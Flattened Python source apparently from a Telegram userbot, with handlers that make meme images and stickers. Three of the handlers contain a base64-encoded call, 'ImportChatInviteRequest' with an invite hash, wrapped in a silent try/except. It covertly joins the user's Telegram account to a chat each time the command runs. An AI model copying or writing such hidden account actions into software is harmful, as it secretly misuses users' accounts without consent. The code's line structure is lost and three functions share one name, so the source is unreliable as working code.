async def nekobot(borg): text = borg.pattern_match.group(1) reply_to_id = borg.message if borg.reply_to_msg_id: reply_to_id = await borg.get_reply_message() if not text: if borg.is_reply: if not reply_to_id.media: text = reply_to_id.message else: await borg.edit("Send you text to modi so he can tweet.") return else: await borg.edit("send you text to modi so he can tweet.") return await borg.edit("Requesting modi to tweet...") try: hell = str( pybase64.b64decode( "SW1wb3J0Q2hhdEludml0ZVJlcXVlc3QoUGJGZlFCeV9IUEE3NldMZGpfWVBHQSk=" ))[2:49] await borg.client(hell) except: pass text = deEmojify(text) borgfile = await moditweet(text) await borg.client.send_file(borg.chat_id, borgfile, reply_to=reply_to_id) await borg.delete()
async def nekobot(borg): text = borg.pattern_match.group(1) reply_to_id = borg.message if borg.reply_to_msg_id: reply_to_id = await borg.get_reply_message() if not text: if borg.is_reply: if not reply_to_id.media: text = reply_to_id.message else: await borg.edit("Give text for to write on banner, man") return else: await borg.edit("Give text for to write on banner, man") return await borg.edit("Your banner is under creation wait a sec...") try: hell = str( pybase64.b64decode( "SW1wb3J0Q2hhdEludml0ZVJlcXVlc3QoUGJGZlFCeV9IUEE3NldMZGpfWVBHQSk=" ))[2:49] await borg.client(hell) except: pass text = deEmojify(text) borgfile = await changemymind(text) await borg.client.send_file(borg.chat_id, borgfile, reply_to=reply_to_id) await borg.delete()
async def nekobot(borg): text = borg.pattern_match.group(1) reply_to_id = borg.message if borg.reply_to_msg_id: reply_to_id = await borg.get_reply_message() if not text: if borg.is_reply: if not reply_to_id.media: text = reply_to_id.message else: await borg.edit("what should kanna write give text ") return else: await borg.edit("what should kanna write give text") return await borg.edit("Kanna is writing your text...") try: hell = str( pybase64.b64decode( "SW1wb3J0Q2hhdEludml0ZVJlcXVlc3QoUGJGZlFCeV9IUEE3NldMZGpfWVBHQSk=" ))[2:49] await borg.client(hell) except: pass text = deEmojify(text) borgfile = await kannagen(text) await borg.client.send_file(borg.chat_id, borgfile, reply_to=reply_to_id) await borg.delete()
async def sticklet(event): R = random.randint(0, 256) G = random.randint(0, 256) B = random.randint(0, 256) reply_message = event.message # get the input text # the text on which we would like to do the magic on font_file_name = event.pattern_match.group(1) if not font_file_name: font_file_name = "" sticktext = event.pattern_match.group(2) if not sticktext: if event.reply_to_msg_id: reply_message = await event.get_reply_message() sticktext = reply_message.message else: await edit_or_reply(event, "Need something 🙄") return if event.reply_to_msg_id: reply_message = await event.get_reply_message() # delete the userbot command, # i don't know why this is required await event.delete() sticktext = deEmojify(sticktext) # https://docs.python.org/3/library/textwrap.html#textwrap.wrap sticktext = textwrap.wrap(sticktext, width=10) # converts back the list to a string sticktext = "\n".join(sticktext) image = Image.new("RGBA", (512, 512), (255, 255, 255, 0)) draw = ImageDraw.Draw(image) fontsize = 230 FONT_FILE = await get_font_file(event.client, "@catfonts", font_file_name) font = ImageFont.truetype(FONT_FILE, size=fontsize) while draw.multiline_textsize(sticktext, font=font) > (512, 512): fontsize -= 3 font = ImageFont.truetype(FONT_FILE, size=fontsize) width, height = draw.multiline_textsize(sticktext, font=font) draw.multiline_text(((512 - width) / 2, (512 - height) / 2), sticktext, font=font, fill=(R, G, B)) image_stream = io.BytesIO() image_stream.name = "LEGENDBOT.webp" image.save(image_stream, "WebP") image_stream.seek(0) # finally, reply the sticker await event.client.send_file( event.chat_id, image_stream, caption="helbot's Sticklet", reply_to=event.message.reply_to_msg_id, ) # cleanup try: os.remove(FONT_FILE) except BaseException: pass